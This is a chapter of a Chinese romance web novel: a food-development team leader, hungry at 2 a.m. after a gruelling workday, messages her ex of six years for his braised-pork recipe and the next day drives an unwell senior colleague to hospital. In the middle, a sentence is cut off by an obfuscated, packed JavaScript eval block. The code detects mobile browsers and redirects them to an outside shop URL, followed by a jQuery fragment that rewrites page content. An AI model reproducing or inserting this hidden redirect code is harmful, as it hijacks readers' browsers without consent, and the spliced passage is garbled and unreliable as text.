凌晨一点四十分，许乘意合上电脑，发现自己饿了。
不是有点饿，是胃在抽搐、脑子发晕、眼前开始冒星星、再不吃东西可能就要原地升天的那种饿。
她靠在椅背上，盯着天花板缓了十秒钟。
今天北京大暴雨，难得居家办公，本以为可以摸鱼混时间，却被大领导拉着开了一天的会，比平时上班还累。
会议内容还是老三样，先复盘，再提问，最后挨个点人发言。许乘意作为食品研发二组组长，前前后后汇报了五个版本的配方思路，全被大领导以“没突破”为由给否了，但“突破”是什么，领导自己也说不清。
最让人无语的，是会上大领导提到控成本的老问题，采购部门立即指出她们二组的某款畅销酱料成本过高，想把其中一种核心原料换成便宜货，许乘意据理力争了两小时，最后还是被一句“消费者尝不出来”堵了回去。
以前许乘意还是个义愤填膺的热血青年，遇到这种情况，必然要在职场发小群怒骂资本家的狗贼。
现在早没了脾气，回了句“明白”后静音闭麦。
打工嘛，赚的不是工资，是精神损失费。
许乘意站起来，边伸懒腰边朝冰箱走。
两室的房子，许乘意租的是次卧，有露天小阳台，采光也不错，就是空间实在有限，入门便是床和书桌，冰箱也是半人高的小容量款。
她打开一看，半棵大白菜，叶子已经蔫了，明天再不吃就只能扔了。两个鸡蛋，孤零零地躺在蛋格里。一小碗剩饭，是前天晚上叫的外卖，当时觉得扔了可惜就留下了，但两天过去，它还在那儿。还有一罐酸奶，她拿起来瞅了眼生产日期，已经过期六天。
除此之外就是公司的一堆速食产品，其中有好几款都是许乘意领头研发的，当初泡在实验室的时候早吃腻了。
她叹口气，摇了摇头。
加班后的深夜吃这个，命苦给谁看。
窗外的雨已经停了，许乘意回桌边拿起手机，准备点外卖。
外卖列表玲琅满目，可落在许乘意眼里，个个饭缩力强得可怕。
麻辣香锅。她看了一眼商家图片，辣椒油多得吓人，那种红不是炒出来的，是色素调出来的。她见过太多这种图片了，研发部每年要分析上百款竞品，这种卖相的产品，用料通常好不到哪儿去。
划走。
炸鸡。图片拍得很诱人，金黄酥脆，但她知道这种外卖送到手里的时候，外皮早就软了。而且这个点吃炸鸡，明天早上起来胃里能反油一整天。
划走。
面条。汤汤水水的，只适合堂食，外卖到手色香味俱差。
划走。
刷了二十分钟，还是不知道吃什么。
许乘意把手机扣在桌上，仰头看着天花板，长长地吐了一口气。
饿。
胃在叫。
脑子里开始出现幻觉。
刚才开会的时候，三组的同事在PPT里配了好几张红烧肉的图，亮度对比度拉到最大的那种菜品图，按理来说没什么食欲。
但此刻猛地一恍惚，许乘意仿佛真看见了一盘红烧肉，百分百诱人的那种。
白色瓷盘装的，边缘擦得很干净。肉是五花三层，酱色油亮，夹起来的时候能看见瘦肉一丝一丝的纹理，肥肉已经炖化了，挂在瘦肉的边上，像一层半透明的糖衣，吃不出半分油腻，反倒觉得清爽。
许乘意咽了咽口水，又忽然愣住。
因为盘子的一端正被人捏住，不急不慢地递到她面前。
顺着修长指节往上看，是一张冷峻的脸。
没什么表情，但动作万分温柔，盛出第一块，吹了吹，递到她嘴边。她还没咬到，那双手的主人就恶作剧般地后撤一步。
“许乘意，一块肉至于么你。还有，你怎么看什么都比看我深情。”
“谁让你比饭馆做得还要好吃，要不你教我吧，这样以后如果想吃，我就不麻烦你了。”
那人轻笑了声，扬着尾调问她：“你是没手机还是没腿？”
她疑惑地“啊”了一声。
“想吃，打电话、发短信或者来找我，哪次没做给你吃。”
回忆到这里，许乘意清醒了。
她盯着有些掉皮的天花板，过了很久，轻轻地骂了一句。
“靠。”
不是骂他，是骂自己。
六年了。
她坐在凌晨一点的出租屋里，饿得胃抽筋，然后脑子里开始放电影，放的竟然还是六年前的画面，实在太没出息了。
她起身一头栽床上，把脸埋进枕头里。
闷了三秒，又翻回来。
饿。
还是饿。
而且现在不只是饿，是那种脑子里有虫在钻，坐立不安、抓心挠肝的饿，她知道这是馋。
饿可以忍，馋忍不住。
因为饿是生理需求，馋是心理需求。饿可以用任何东西填饱，馋只有一个解决方案。
她想要红烧肉，还必须是那个味道的。
其实许乘意早就试过自己做，并非是怀念前任的心态，而是怀着对食物百分百的虔诚。
说直白点，馋是最大的生产力。
二十几种做法，网上能搜到的热门教程，她挨个试了一遍。不同品牌的五花肉，不同产地的酱油，不同品种的冰糖，不同火候，不同时间。她甚至严谨地做了对照实验，用表格记录每一次的配方和结果，像研发新产品一样研发这盘红烧肉。
都失败了。
不是那个味道。
又过了一阵，许乘意鲤鱼打挺坐起来，再次拿起手机。
这次点开的不是外卖，是某支付软件。
当年分手的时候，许乘意删光了他所有的联系方式，唯独漏了这里。等想起来的时候，已经过了好几个月，再特意去删显得很刻意，于是就这么搁置了。
她翻了翻，在很下面看见了一个熟悉的橘猫头像，还是当年她替他设置的，不知道当事人是忘记换，还是压根没用这个账号了。
许乘意盯着屏幕，脑子里开始天人交战。
分手六年，凌晨两点，给前任发消息要食谱，这算什么？这跟“在吗”“你睡了吗”有什么区别？这是正常人能干出来的事儿？
许乘意一把将手机扣回去。
闭上眼睛。
过了十秒，又睁开。
她又拿起手机。
这次她开始打字。
【哈喽呀，冒昧打扰不好意思！我没别的意思，就是想问问你的红烧肉秘方，能不能发给我一份呀？放心，不复合、不纠缠，真诚求食谱！如果不方便就算了，感谢】
打完这行字，她自己都看笑了。
什么玩意儿。
删了。
【在吗？求红烧肉秘方，急，在线等】
什么过时网梗，太傻了。
删了。
【好久不见哈哈。方便冒昧问一下，你那个红烧肉是怎么做的吗？要是方便的话，能分享一下吗？不方便就算了，感谢】
那么多个方便，一听就很不方便。
删了。
就这样打了删、删了打，折腾了二十分钟。
凌晨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406588|200542||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两点三十分。
许乘意头脑一热，选了第一条，发送。
发完的那一刻，她把手机扔到床尾，猛地拉过被子蒙住头。
完了。
她不知道他会不会回复，怎么回复。
会不会早就把她删了，或者忘了她是谁，欠嗖嗖地回一句“你是？”
还是说干脆直接截图发朋友圈，配文“都来看看我的奇葩前任”。虽说不像是他的风格，但毕竟过了六年，有句老话说得好，男人变坏很容易。
想来想去，许乘意乐了。
民以食为天，她要个食谱怎么了？多大个事儿？
话是这么说，但第二天早上，许乘意醒来的第一件事是摸手机。
屏幕亮起来，没有新消息。
她盯着那个橘猫头像看了很久，然后把手机扔回去。
起床，洗漱，出门上班。
昨天那场暴雨过后，北京城彻底冷了下来。湿气与雾霾缠在一起，天空灰蒙又萧瑟。
许乘意站在公交站台，被冷风一激，连打了两个喷嚏。
她揉了揉鼻子，心想：谁在骂我。
但她没空去想别的，接下来一整天她都泡在实验室里，昨天大领导把她几个配方都给否了，现下只能着手研发新的。
许乘意今年二十五岁，在亚觅食品公司供职三年，从最初的食品研发助理默默爬上了组长的位置，也算是经验丰富，明白有时候领导说创新不足，其实就是利润不足。老实本分地研究新配方是没用的，应该换个思路，给老产品编一个新故事或者新概念。
就像上次和大学师兄袁雾见面，对方毕业后一直在食品研究所上班，告诉她所里抽调了市面上很多酸奶样品，发现某品牌五块的酸奶和十块的那款，原料成分一模一样，区别就在于概念和包装，但消费者还是更愿意买贵的那款。
许乘意听后感叹，原来食品人还得懂心理学，才能混得开。
玩笑归玩笑，许乘意对食物还是很虔诚的，她读书那会儿互联网词汇还不够丰富，只能被划为刻板印象里的吃货，如今老吃家的说法一出，许乘意觉得算是为自己平反了。
她并非贪吃爱吃，而是吃得挑，吃得讲究。
许乘意取下手套，招呼组内新来的实习生孙利嶙记录实验数据，正交代着，手机弹出袁雾的消息。
【碰巧在你公司附近，要不要一起吃饭？】
许乘意是到点就下班，一分钟不多待在公司的那种人，当即脱下白大褂回道：【好的师兄，等我五分钟】
许乘意走出公司大楼，一眼就看见袁雾的车停在路边，黑色的雷克萨斯，看得出车主有定期洗车保养的习惯，车身崭新洁净。
她拉开车门坐上车，还没来得及说话，就瞥见驾驶位上的男人脸色不对。
“师兄，你还好吗，脸色看起来很差。”
袁雾半靠在方向盘上，额间已经冒出了些细汗，原本想强撑着坐回去，发现肚子绞痛得厉害，连最基本的礼仪都难以维持。
“小意，今天的晚餐估计吃不了了，我得去趟医院。抱歉啊，没办法送你回家了。”
严格意义来说，许乘意和袁雾不算同门师兄妹，两人认识的时候，袁雾正读研二，许乘意本科毕业论文的指导老师恰好是他的硕导，因为这层关系，袁雾没少在实验室帮她，给了她很多学术上的启发。
再加上两人这些年的交情，许乘意也不可能见死不救。
她没给对方推脱客气的机会，立即下车绕去驾驶座那边，拉开车门。
“你这样半路出车祸怎么办，下车，我送你去医院。”